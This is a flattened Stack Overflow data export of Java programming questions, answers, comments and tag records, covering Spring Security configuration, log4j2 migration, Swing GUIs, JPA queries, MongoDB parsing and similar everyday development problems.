has body: sorry if this question has been already answered - I have found several answers for usual source of this problem such as using and having no xmlns:beans declaration but what I get seems different... So here's my xml file: &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans:beans xmlns="http://www.springframework.org/schema/security" xmlns:beans="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.2.xsd http://www.springframework.org/schema/security http://www.springframework.org/schema/security/spring-security-3.1.xsd"&gt; &lt;beans:bean class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer" /&gt; &lt;global-method-security pre-post-annotations="enabled" /&gt; &lt;beans:bean id="authMessageHandler" class="xxx.AuthenticationMessageHandler" /&gt; &lt;!-- **************************** --&gt; &lt;!-- Security configuration for REST services. --&gt; &lt;http pattern="/consultants/**" authentication-manager-ref="authenticationManager" entry-point-ref="restServicesEntryPoint" create-session="stateless"&gt; &lt;custom-filter ref="restServicesFilter" before="PRE_AUTH_FILTER" /&gt; &lt;/http&gt; &lt;!-- Entry point for REST service. --&gt; &lt;beans:bean id="restServicesEntryPoint" class="xxx.RestAuthenticationEntryPoint" /&gt; &lt;!-- Filter for REST services. --&gt; &lt;beans:bean id="restServicesFilter" class="xxx.RestUsernamePasswordAuthenticationFilter"&gt; &lt;property name="postOnly" value="false" /&gt; &lt;property name="authenticationManager" ref="authenticationManager" /&gt; &lt;property name="authenticationSuccessHandler" ref="restServicesSuccessHandler" /&gt; &lt;/beans:bean&gt; &lt;!-- A handler for successful REST service authentication. --&gt; &lt;beans:bean id="restServicesSuccessHandler" class="xxx.RestAuthenticationSuccessHandler" /&gt; &lt;!-- *********************…
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/22302966
favorite count: 0
tagged with: spring
tagged with: http://stackoverflow.com/tag/xml
has title: cvc-complex-type.2.4.c: The matching wildcard is strict, but no declaration can be found for element 'property'
type: AnsweredQuestion
score: 1
upvote count: 1
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/22302966

http://stackoverflow.com/q/22195534
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/22457648
tagged with: webmethods
score: 2
type: AnsweredQuestion
has title: GXWaitForCursor in Applinx API always fails by timeout
upvote count: 2
type: Question
accepted answer: http://stackoverflow.com/a/22457648
tagged with: java
has body: I'm integrating a legacy application running on AIX with a new J2EE app using Applinx API. After send some keys, I'm waiting the cursor jump to next field: wc = new GXWaitForCursor(new GXPosition(11, 22),new GXPosition(11, 33), 3000, 1000); client.sendKeys("[enter]1[enter]2[enter]3[enter]3[enter]"); sr = new GXGetScreenRequest(); sr.addWaitCondition(wc); screen = client.getScreen(sr); While I can see (using Applinx Administrator) that the cursor has already reached that position, it wait until it fails by timeout. Is there anyone who has faced this issue? Thanks.

http://stackoverflow.com/q/22217358
score: 6
has body: I want to migrate from Log4j 1.x to log4j2 so I read this article: http://logging.apache.org/log4j/2.x/manual/migration.html In our application we are using LoggerRepository: Logger.getRootLogger().getLoggerRepository().getCurrentLoggers(); what is the equivalent of this piece of code in log4j2. Because in article they said we can't access to this method but they don't mention how should I replace it
downvote count: 0
tagged with: log4j
favorite count: 0
type: Question
upvote count: 6
tagged with: java
has title: What is an equivalent of LoggerRepository in log4j2
answer count: 1
tagged with: log4j2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/32221539

http://stackoverflow.com/comment/34275074
score: 0
type: AnswerComment
type: Comment
has text: Yes it worked. Just have to change a little bit. The <logger name="org.quartz" ...>, because all the debug los are coming from classes within org.quartz.* packages. Thanks you very much Remko.
comment on: http://stackoverflow.com/a/22321669

http://stackoverflow.com/comment/33860607
type: QuestionComment
type: Comment
has text: When using an ORM framework, you create objects and persist them through the DAO - otherwise, I would do the same without ORM, but also creating some kind of business object and persisting it at the DAO layer.
score: 0
comment on: http://stackoverflow.com/q/22287880

http://stackoverflow.com/comment/33883870
has text: Sorry, I misunderstood your question; I edited my answer accordingly.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22301152
type: Comment

http://stackoverflow.com/comment/33827631
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22265984
has text: Yes, I am using an OSGI environment. In an OSGI list, every camel supported lib are installed with active state. Still Do I need to install all those lib's in features console?
type: AnswerComment

http://stackoverflow.com/q/22312185
has comment: http://stackoverflow.com/comment/33904366
type: Question
has body: I recently learned java by reading the book Head First Java and I also bought the book Effective Java which I'm planning to finish later. I've been searching the ways to improve Java programming skills online but all I found are algorithm practice questions just like questions in the book Cracking the Coding Interview. I finished about a hundred of them and I found they are useful; however, I still cannot see how this is related to making real object oriented applications like desktop softwares or Android Apps. Every time I visit stackoverflow.com, under tag Java I see those questions about things that I have never heard of. I'm really frustrated. Am I on the wrong track to the real programming world? Thanks.
has comment: http://stackoverflow.com/comment/33904535
has comment: http://stackoverflow.com/comment/33904779
has answer: http://stackoverflow.com/a/22312466
has comment: http://stackoverflow.com/comment/33904414
score: 0
has comment: http://stackoverflow.com/comment/33904632
answer count: 1
tagged with: software-design
accepted answer: http://stackoverflow.com/a/22312466
has title: How to transfer from doing algorithm questions to making apps?
type: AnsweredQuestion
tagged with: java

http://stackoverflow.com/comment/33712008
has text: Post logcat output as well.
comment on: http://stackoverflow.com/q/22205913
type: QuestionComment
type: Comment
score: 2

http://stackoverflow.com/q/22238903
type: UnansweredQuestion
tagged with: swing
has title: im getting an error on my program
tagged with: java
downvote count: 1
type: Question
tagged with: actionlistener
upvote count: 0
score: -1
has comment: http://stackoverflow.com/comment/33772168
tagged with: class
answer count: 1
has answer: http://stackoverflow.com/a/22239138
has body: import java.awt.*; //Container, GridLayout, *, or etc... import javax.swing.*; //JFrame, JLabel, *, or etc... import java.awt.event.*; public class NumerologyEC extends JFrame { private static final int Width = 400; private static final int Height = 100; private JLabel wordJL; private JTextField wordTF; private JButton calculateJB, exitJB; private CalculateButtonHandler cbHandler; private ExitButtonHandler ebHandler; public NumerologyEC() { setTitle ("Numerology Extra Credit"); wordJL = new JLabel ("Enter a word: ", SwingConstants.RIGHT); wordTF = new JTextField(10); calculateJB = new JButton ("Calculate"); cbHandler = new CalculateButtonHandler(); calculateJB.addActionListener (cbHandler); exitJB = new JButton ("Exit"); ebHandler = new ExitButtonHandler(); exitJB.addActionListener (ebHandler); Container pane = getContentPane(); pane.setLayout (new GridLayout (2, 2)); pane.add(wordJL); pane.add(wordTF); pane.add(calculateJB); pane.add(exitJB); setSize(Width, Height); setVisible (true); setDefaultCloseOperation (EXIT_ON_CLOSE); } private class CalculateButtonHandler implements ActionListener { public void actionPerformed (ActionListener e) { String word; word = String.parseString (wordTF.getText()); } } private class ExitButtonHandler implements ActionListener { public void actionPerfromed (ActionEvent e) { System.exit (0); } } public static void main (String[] args) { NumerologyEC rectObject = new NumerologyEC(); } } i keep getting an error on the "private class CalculateButtonHandler implemets ACtionListener" What am i missing?
favorite count: 0
has comment: http://stackoverflow.com/comment/33772211

http://stackoverflow.com/comment/65289091
has text: can you please explain how you created the keystore.jks or share a link, because I am also stuck in configuring netty for ssl ...
comment on: http://stackoverflow.com/q/22318558
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/22268748
score: -2
downvote count: 2
has comment: http://stackoverflow.com/comment/34347830
has body: What if you just increment an loop for your 'isAnyOfTheseDogsBelongingToAperson' method? Try something like this: private static boolean isAnyOfTheseDogsBelongingToAperson(EntityManager em, List&lt;Dog&gt; dogs, String name) { for (Dog dog : dogs){ Query query = em.createQuery('select count(p) from Person p where :dog member of p.dog and p.name = :name'); query.setParameter('dog', dog); query.setParameter('name', name); try { return query.getSingleResult() != null; } catch (Exception e) { return false; } } } Otherwise you can try some comparison with .contains method of the the list. To do it see the code below: private static boolean isAnyOfTheseDogsBelongingToAperson(EntityManager em, List&lt;Dog&gt; dogs){ boolean result = false; List&lt;Dog&gt; dogsWithOwners = new ArrayList&lt;Dog&gt;(); Query query = em.createQuery('select p.dog from Person'); dogsWthOwners = query.getResultList(); for (Dog dog : dogs){ if (dogsWithOwners.contains(dog){ result = true; } } return result; } Hope this can help you, good luck!
type: Answer
upvote count: 0
answers question: http://stackoverflow.com/q/22263434

http://stackoverflow.com/a/22283623
has body: Your problem is that you're using getGraphics() to get the Graphics context, and then drawing with it. This Graphics object is short-lived, and is not a safe way to draw an image in a Swing GUI. Much better would be to draw the image in a JPanel's paintComponent method using the Graphics object provided there for you by the JVM. Either that or display it as an ImageIcon in a JLabel.
answers question: http://stackoverflow.com/q/22283599
type: Answer
accepted answer of: http://stackoverflow.com/q/22283599
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33853073
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/33847827
comment on: http://stackoverflow.com/a/22280891
type: Comment
has text: Is EntityManager em = emf.createEntityManager(); create a new session or existing one ? I need to create new session.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33876768
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22297172
has text: Static methods are never inherited..That's what the oracle doucmentation says atleast
score: 0

http://stackoverflow.com/q/22172161
upvote count: 1
has answer: http://stackoverflow.com/a/22227921
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33651537
accepted answer: http://stackoverflow.com/a/22227921
tagged with: java
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/33652102
has title: How to parse a BasicDBObject into other object
score: 0
tagged with: mongodb
has body: I'm developing a Java application using MongoDB and Java-driver. I need to parse a BasicDBObject into an own object of my code, and I don't know if there is a way to develop automatically. Is it possible to parse from BasicDBObject to JSON String? Then, I could parse from JSON String to my own Object, for example with GSON library. Something like BasicDBObject object; String myJSONString = object.toString(); Gson gson = new Gson(); MyOwnObject myObject = gson.fromJson(myJSONString, MyOwnObject.class); And I don't want to add complex to my code, also I don't to add more extern libraries. I don't want to add Gson library or other. Any ideas?? Is it possible to do this without external libraries?? Thanks!!
possible better answer: http://stackoverflow.com/a/22172226
favorite count: 0
has answer: http://stackoverflow.com/a/22172286
has answer: http://stackoverflow.com/a/22172226
answer count: 3
has comment: http://stackoverflow.com/comment/33652214
has comment: http://stackoverflow.com/comment/33651219
type: AnsweredQuestion

http://stackoverflow.com/q/22186619
tagged with: java
has comment: http://stackoverflow.com/comment/33680190
has body: I open case about it but i dont understand adviced articles. Because i dont find good example about it. If someone write a sample code for below scenario very helpful for me. Let me explain my problem; I have SQL table in MSSQL DB like; Column 1: "Mach" (varchar) Column 2: "ID" (int) Column 3: "Status" (varchar) Column 4: "IsActive" (bit) (values 1 or 0 under db table) //this one must show as checkbox in jTable I want create a jTable with Abstract Table Model. When table created with this model, table shows 4th column as checkbox. I have a few trying but all of shows "true" or "false" on 4th column in jTable. Thanks in advance.
type: Question
tagged with: jtable
score: 0
linked to: http://stackoverflow.com/q/4526779
answer count: 1
has answer: http://stackoverflow.com/a/22211466
has comment: http://stackoverflow.com/comment/33700034
linked to: http://stackoverflow.com/q/7920068
tagged with: jdbc
has comment: http://stackoverflow.com/comment/33718616
has comment: http://stackoverflow.com/comment/33708871
tagged with: abstracttablemodel
accepted answer: http://stackoverflow.com/a/22211466
has comment: http://stackoverflow.com/comment/33680236
tagged with: swing
has comment: http://stackoverflow.com/comment/33678330
has title: Creating table model from resultset with checkbox
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33707446
linked to: http://stackoverflow.com/q/7137786

http://stackoverflow.com/comment/33911527
score: 0
type: Comment
has text: why do are you referring class variables as global variables?
type: AnswerComment
comment on: http://stackoverflow.com/a/22315997

http://stackoverflow.com/a/22188241
has comment: http://stackoverflow.com/comment/90274572
has comment: http://stackoverflow.com/comment/80486448
answers question: http://stackoverflow.com/q/22186778
has comment: http://stackoverflow.com/comment/33697727
downvote count: 8
type: Answer
score: 30
upvote count: 38
has body: try this for example DecimalFormat df = new DecimalFormat("#.##"); df.format(55.544545); output: 55.54

http://stackoverflow.com/comment/33822371
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22266768
has text: Are you expecting XML to evaluate some sort of condition? If so, that's like asking a cookbook to make you dinner.
score: 0

http://stackoverflow.com/a/22309954
accepted answer of: http://stackoverflow.com/q/22309733
has body: I would make the abstract superclass generic with the types of keys and values that the subclasses would handle. public abstract class SomeSuperclass&lt;K extends Pk, V extends Entity&gt; { Then you can place the algorithm in a concrete method. public K create(V entity) { K pk = entity.getPk(); if (!pk.validate()) { throw new IllegalArgumentException("Part of primary key is null:" + entity); } if (getInstances().containsKey(pk)) { throw new IllegalArgumentException(entity + " already exists."); } getInstances().put(pk, entity); return pk; } public abstract Map&lt;K, V&gt; getInstances(); } I have replaced INSTANCES with getInstances(), an abstract method that subclasses will implement. public class TeamScoreSubclass extends SomeSuperClass&lt;TeamScorePk, TeamScore&gt; { Then all the subclass has to do is supply the Map (and populate it somehow). Map&lt;TeamScorePk, TeamScore&gt; map = new HashMap&lt;&gt;; and public Map&lt;TeamScorePk, TeamScore&gt; getInstances() { return map; } }
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/22309733
has comment: http://stackoverflow.com/comment/33901022
score: 1

http://stackoverflow.com/q/22267247
score: 0
tagged with: file-io
has comment: http://stackoverflow.com/comment/33823336
has comment: http://stackoverflow.com/comment/33823300
has comment: http://stackoverflow.com/comment/33823307
accepted answer: http://stackoverflow.com/a/22267558
has comment: http://stackoverflow.com/comment/33823158
tagged with: swing
has body: I created a class that extends another class, so that I can get the JTextArea from the main class. I'm not getting any errors for some reason. When I get the text of the JTextArea it is the text that I changed it to, but it isn't showing up on the JTextArea. I am trying to open a txt file and get the text from the file and put it on the JTextArea. Can anyone please make any suggestions why this might not work? public JMenuItem open(){ open.addActionListener (new ActionListener (){ public void actionPerformed (ActionEvent e){ jta.setText(""); fileChooser=new JFileChooser(); fileChooser.setDialogTitle("Choose a file..."); int response=fileChooser.showOpenDialog(null); if(response==JFileChooser.APPROVE_OPTION){ String filePath=fileChooser.getSelectedFile().toString(); try{ File userFile=new File(filePath); Scanner scan=new Scanner(userFile); String text=""; while(scan.hasNextLine()){ text+=scan.nextLine(); jta.replaceSelection(text); } }catch (IOException e1){ e1.printStackTrace(); } } } }); open.setAccelerator(KeyStroke.getKeyStroke('O', KeyEvent.CTRL_DOWN_MASK)); return open; } This ^^^ is used like so: public class FileMenu extends MenuBar{ private JMenu file=new JMenu("File"); JMenuItem New= new JMenuItem("New"); JMenuItem open= new JMenuItem("Open file..."); JMenuItem save= new JMenuItem("Save"); JMenuItem saveAs= new JMenuItem("Save As..."); JMenuItem close= new JMenuItem("Exit"); public JFileChooser fileChooser; FileActions fileActions; public FileMenu(){ } public JMenu menu(){ fileActions=new FileActions(); file.add(fileActions.newWindow()); file.add(fileActions.open()); file.addSeparator(); file.add(save); file.add(saveAs); file.addSeparator(); file.add(close); save.setAccelerator(KeyStroke.getKeyStroke('S', KeyEvent.CTRL_DOWN_MASK)); saveAs.setAccelerator(KeyStroke.getKeyStroke('E', KeyEvent.CTRL_DOWN_MASK)); close.setAccelerator(KeyStroke.getKeyStroke('Q', KeyEvent.CTRL_DOWN_MASK)); mb.add(file); return file; } } This is where the JTextArea is created: publi…
type: Question
type: AnsweredQuestion
tagged with: java
has title: Can't change text in JTextArea in Java
tagged with: jfilechooser
has comment: http://stackoverflow.com/comment/33823216
tagged with: jtextarea
answer count: 1
has answer: http://stackoverflow.com/a/22267558

http://stackoverflow.com/comment/33795402
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22250920
type: Comment
has text: Can you post your activity code please?

http://stackoverflow.com/comment/33836508
type: Comment
has text: See also http://www.emc.com/emc-plus/rsa-labs/standards-initiatives/is-des-a-group.htm
type: AnswerComment
comment on: http://stackoverflow.com/a/22273816
score: 0

http://stackoverflow.com/a/22291432
answers question: http://stackoverflow.com/q/22291283
score: 0
type: Answer
has body: Look into the SharedPreferences.Editor.putStringSet method. You can store Sets, which is good for storing something like a music playlist

http://stackoverflow.com/comment/33901793
has text: Can you say something more about `but there is a lot of useless HTML that would be nice to remove..`? Posting example of what you get and what you want would make helping you easier.
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22310562

http://stackoverflow.com/a/22274565
type: Answer
answers question: http://stackoverflow.com/q/22274546
has body: Of course you can use a Comparator .Use Collections.sort(List&lt;String&gt; x,Comparator comp)
score: 0

http://stackoverflow.com/comment/33854493
has text: @harold, exactly like you said. 3 cells with only 2 possible unique values - impossible. So a method of checking each individual cell to determine if the puzzle is solvable or not would not help any.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22284233
type: Comment

http://stackoverflow.com/q/22246731
score: 2
upvote count: 2
type: UnansweredQuestion
has title: Jboss ,Infinispan, How to configure Jboss As managed cache manager
type: Question
has answer: http://stackoverflow.com/a/22260672
tagged with: java
tagged with: jboss
tagged with: caching
has comment: http://stackoverflow.com/comment/33835088
answer count: 1
downvote count: 0
favorite count: 0
has body: I am trying to use Jboss AS managed Infinispan in my application, so that I can use Jboss Admin console to manage it. I have tried the following steps based on Infinispan documentation, 1) Created a class named Config import javax.annotation.Resource; import javax.enterprise.context.ApplicationScoped; import javax.enterprise.inject.Produces; import org.infinispan.manager.EmbeddedCacheManager; public class Config { @Produces @ApplicationScoped @Resource(lookup = "java:jboss/infinispan/test") private EmbeddedCacheManager defaultCacheManager; public void printObject() { System.out.println("defaultCacheManager:" + defaultCacheManager); } } 2) created a servlet just for making Config object and calling printObject() method import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class TestServlet extends HttpServlet { /** * */ private static final long serialVersionUID = 3200037917839533696L; @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doIt(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doIt(req, resp); } protected void doIt(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { Config config = new Config(); config.printObject(); } catch (Exception e) { e.printStackTrace(); } } } 3) Added the application dependencies via standalone.xml global configuration &lt;subsystem xmlns="urn:jboss:domain:ee:1.0"&gt; &lt;global-modules&gt; &lt;module name="org.infinispan" slot="main"/&gt; &lt;module name="javax.enterprise.api" slot="main"/&gt; &lt;module name="javax.faces.api" slot="main"/&gt; &lt;module name="javax.inject.api" slot="main"/&gt; &lt;module name="javax.annotation.api" slot="main"/&gt; &lt;/global-modules&gt; &lt;/subsyste…
tagged with: infinispan

http://stackoverflow.com/a/22192775
has body: If it is one time run just increase the heap by using command line option -Xmx2048M (2G is just and example).
accepted answer of: http://stackoverflow.com/q/22192715
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22192715
downvote count: 0
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/a/22185245
has comment: http://stackoverflow.com/comment/33675349
has comment: http://stackoverflow.com/comment/33675537
upvote count: 1
has comment: http://stackoverflow.com/comment/33675714
has body: If you want to call methods from an anonymous class, that means it extends a superclass or implements an interface. So you can simply store in a parent's reference that instance and call on it all the contract's methods: interface MyAnonymous { void open(); void dis(); } MyAnonymous anon = new MyAnonymous () { public void open(){ // do some stuff } public void dis(){ // do some stuff } }; anon.open(); anon.dis();
has comment: http://stackoverflow.com/comment/33675766
has comment: http://stackoverflow.com/comment/33675448
has comment: http://stackoverflow.com/comment/33675683
has comment: http://stackoverflow.com/comment/33675791
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33675374
has comment: http://stackoverflow.com/comment/33675526
has comment: http://stackoverflow.com/comment/33675409
type: Answer
answers question: http://stackoverflow.com/q/22184606

http://stackoverflow.com/q/22173420
score: 3
upvote count: 3
tagged with: java
tagged with: itext
type: Question
has body: When an Element gets moved to a new page because of a setKeepTogether(true) configuration, I need to a text "Continutation of ..." to the new page. I tried that with the PageEvent.onStartPage() but it's not allowed to call Document.add() inside a PageEvent. But how to solve that now? This small example reproduces my problem: public class Main { public static String continuation = null; public static void main(final String[] args) throws Exception { final Document document = new Document(PageSize.A7); final PdfWriter writer = PdfWriter.getInstance(document, new FileOutputStream("text.pdf")); document.open(); // Now I add the introduction text document.add(new Paragraph("A nice \nIntroduction \nover some lines.")); // Now I put my "huge" paragraph. When it breaks, // the first line of the new page should be "Continuation of smth." continuation = "smth."; final Paragraph paragraph = new Paragraph("What is \nthe answer \nto life the \nuniverse and \neverything?\n\nThe Answer to \nthis question \nis:\n42"); paragraph.setKeepTogether(true); document.add(paragraph); document.close(); } } The result should look somehow like this.
downvote count: 0
answer count: 1
favorite count: 0
type: UnansweredQuestion
has title: How to append the text "Continuation of ..." at the new page, when an element got split by setKeepTogether(true)
linked to: http://stackoverflow.com/q/22171097
has answer: http://stackoverflow.com/a/22178203

http://stackoverflow.com/comment/33719362
has text: Thank you very much total is working now I'm not great at programming but i'm usually not far off been at that ages now
type: AnswerComment
comment on: http://stackoverflow.com/a/22209701
score: 0
type: Comment

http://stackoverflow.com/q/22251064
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22252425
has comment: http://stackoverflow.com/comment/33793516
has comment: http://stackoverflow.com/comment/33793691
tagged with: java
tagged with: eclipse
type: Question
has title: pass value from one handler to another handler in eclipse e4?
has comment: http://stackoverflow.com/comment/33794440
has body: I am calculating a value in one handler and I need to pass that value to the other handler. In other words, I have created two menu items in which one menu item(XYZ) calculate values when it is clicked and I need to pass those values so that when the other menu item(ABC) get those values and when "ABC" menu item is clicked the value should be displayed in a message dialog box. Can anyone please suggest me how to do this eclipse rcp e4??
tagged with: eclipse-rcp
score: 0
answer count: 1
tagged with: e4

oop
tags question: http://stackoverflow.com/q/22274505
tags question: http://stackoverflow.com/q/22274468
tags question: http://stackoverflow.com/q/22175998
tags question: http://stackoverflow.com/q/22171647
tags question: http://stackoverflow.com/q/22219313
tags question: http://stackoverflow.com/q/22259891
tags question: http://stackoverflow.com/q/22171505
tag name: oop
tags question: http://stackoverflow.com/q/22208266
tags question: http://stackoverflow.com/q/22322384
tags question: http://stackoverflow.com/q/22250931
tags question: http://stackoverflow.com/q/22190797
tags question: http://stackoverflow.com/q/22217159
tags question: http://stackoverflow.com/q/22188622
tags question: http://stackoverflow.com/q/22270655
tags question: http://stackoverflow.com/q/22283739
tags question: http://stackoverflow.com/q/22263925
tags question: http://stackoverflow.com/q/22230210
tags question: http://stackoverflow.com/q/22283181
tags question: http://stackoverflow.com/q/22273092
tags question: http://stackoverflow.com/q/22301132
tags question: http://stackoverflow.com/q/22261129
tags question: http://stackoverflow.com/q/22252515
tags question: http://stackoverflow.com/q/22184240
tags question: http://stackoverflow.com/q/22193601
tags question: http://stackoverflow.com/q/22262133
tags question: http://stackoverflow.com/q/22312541
tags question: http://stackoverflow.com/q/22317120
tags question: http://stackoverflow.com/q/22195116
type: Tag
tags question: http://stackoverflow.com/q/22227850

http://stackoverflow.com/comment/33985258
comment on: http://stackoverflow.com/a/22356324
score: 0
type: AnswerComment
type: Comment
has text: Have you looked at the [eclipse documentation on source bundling](http://help.eclipse.org/indigo/index.jsp?topic=%2Forg.eclipse.pde.doc.user%2Ftasks%2Fpde_individual_source.htm) ?

http://stackoverflow.com/a/22327801
score: 0
answers question: http://stackoverflow.com/q/22327631
type: Answer
has body: According to the docs,ClassNotFoundException is thrown when: Thrown when an application tries to load in a class through its string name using: * The forName method in class Class. * The findSystemClass method in class ClassLoader. * The loadClass method in class ClassLoader. but no definition for the class with the specified name could be found.

http://stackoverflow.com/comment/33758665
type: QuestionComment
comment on: http://stackoverflow.com/q/22231686
has text: Paul, im Splitting it into pieces because i want to pause/stop/Play it dynamically.
score: 0
type: Comment

http://stackoverflow.com/comment/33675303
score: 2
type: AnswerComment
comment on: http://stackoverflow.com/a/22185159
type: Comment
has text: Or the point of the exercise is precisely to make the students split the problem into methods, which is what a developer must do every day. I prefer such an exercise than one which would say "write a method which does this then write another method which calls the first one".

finalize
type: Tag
tag name: finalize
tags question: http://stackoverflow.com/q/22243487

http://stackoverflow.com/q/22278040
has body: I'm writing a simple Java Google Web Toolkit App, and I am having some trouble updating a variable in a class. Here is my code: @PersistenceCapable(identityType=IdentityType.APPLICATION) public class Dog implements Serializable { @PrimaryKey @Persistent(valueStrategy=IdGeneratorStrategy.IDENTITY) private Long id; @Persistent(serialized ="true") private Owner owner=null; public Dog() {} public Dog(Owner owner) { this.owner = owner; } public Owner getOwner() { return owner; } } Where the owner class is: public class Owner implements Serializable { private static final long serialVersionUID = 1L; @Persistent private String name=""; public Owner() {} public Owner(String name) { this.name = name; } public String getName() { return name; } } When I run the code: Dog testDog = new Dog(new Owner("Dog Owner")); testDog.getOwner().getName(); I get an error about the owner in the dog class being null. Why is this happening? Why isn't the owner variable being updated in the constructor? How do I solve this issue? Thank you all for reading!
score: 1
favorite count: 0
type: UnansweredQuestion
upvote count: 1
has title: Google Web Toolkit Eclipse @Persistent(serialized ="true") Not Updating in Constructor
tagged with: java
tagged with: eclipse
type: Question
has answer: http://stackoverflow.com/a/22278230
has comment: http://stackoverflow.com/comment/33843033
answer count: 1
downvote count: 0

http://stackoverflow.com/q/22214932
tagged with: panel
type: AnsweredQuestion
score: 2
upvote count: 2
tagged with: jframe
has title: Multiple Canvas' next to each other
has comment: http://stackoverflow.com/comment/33729018
has answer: http://stackoverflow.com/a/22215946
tagged with: swing
type: Question
has comment: http://stackoverflow.com/comment/33728767
has comment: http://stackoverflow.com/comment/33728627
tagged with: java
has comment: http://stackoverflow.com/comment/33728835
has comment: http://stackoverflow.com/comment/33728753
accepted answer: http://stackoverflow.com/a/22215946
tagged with: canvas
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/33728934
has body: I am making an emulator for a seven segment display calculator with up to 10 digits. I have the logic down where I have an array of size 10 of objects. These objects take in a number and "turn on" the segments necessary to display the correct number on the canvas. I am trying to have 10 separate canvas' next to each other and have a draw function that draws the correct number in each digit based on what segments are "turned on". Anyways, I can figure that part out. The part I can't seem to figure out is how to get 10 separate canvas' next to each other on a single JFrame. I have tried using 10 panels, but the formatting is not working and I'm having issues. Any suggestions on how to make this?
favorite count: 0
has comment: http://stackoverflow.com/comment/33728907

http://stackoverflow.com/comment/33816712
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22263074
has text: Yeah, I see what you mean, I will clean it up a bit tomorrow when I am back at my computer!

http://stackoverflow.com/q/22226116
tagged with: java
tagged with: jaxb
has answer: http://stackoverflow.com/a/30867173
type: Question
tagged with: xstream
has answer: http://stackoverflow.com/a/22226491
has answer: http://stackoverflow.com/a/22226392
score: 4
has answer: http://stackoverflow.com/a/54026941
has body: I have an XML with nested elements and repeating tags. For example: Rama 27 male 234 Kanon Hyderabad M.Sc Maths B.E. Electrical Now I want an API which will convert this XML into a Map of Maps in Java: {name="Rama",age="27",gender="male",address={doornumber=234,street="Kanon",city="Hyderabad"},qualification=[{degree="M.Sc",specialisation="Maths"},{degree="B.E.",specialisation="Electrical"}]} I know that we can use XStream API to achieve this. Here I just wanted to know if using XStream has any downsides and whether there exists any other better Java API for achieving this. Any suggestions? Note: This should be done in a generic way i.e. the Java API should be applicable to any XML, not just to the above XML.
downvote count: 0
favorite count: 0
type: UnansweredQuestion
has title: Convert XML to Map of nested maps
tagged with: spring
upvote count: 4
answer count: 4
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/33747728

http://stackoverflow.com/a/22265274
accepted answer of: http://stackoverflow.com/q/22265261
has comment: http://stackoverflow.com/comment/33819966
answers question: http://stackoverflow.com/q/22265261
type: Answer
score: 1
upvote count: 1
has body: Remove the ; in the while loop otherwise while loop terminates while ( n &gt; 0 );&lt;- here
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/33765860
score: 1
has text: `DISPOSE_ON_CLOSE` disposes of the native peer (think window handle) onto which the frame is rendered, it doesn't dispose of the instance of the `JFrame` object that you created - otherwise you would be running to `NullPointerExceptions`, but this isn't how Java works. You still have a strong reference to the `JFrame` through the `ww` variable, meaning that the object can't be garbage collected
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22211298

http://stackoverflow.com/comment/33735250
has text: the code you posted seems to be incomplete. Could you post all of it?
type: AnswerComment
comment on: http://stackoverflow.com/a/22218804
score: 0
type: Comment

http://stackoverflow.com/q/22292972
has answer: http://stackoverflow.com/a/22341001
tagged with: java
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/22295436
has title: Spring Web service throws com.sun.xml.internal.messaging.saaj.soap.ver1_1.BodyElement1_1Impl cannot be cast to org.jdom.Element
has answer: http://stackoverflow.com/a/22295436
accepted answer: http://stackoverflow.com/a/22341001
score: 0
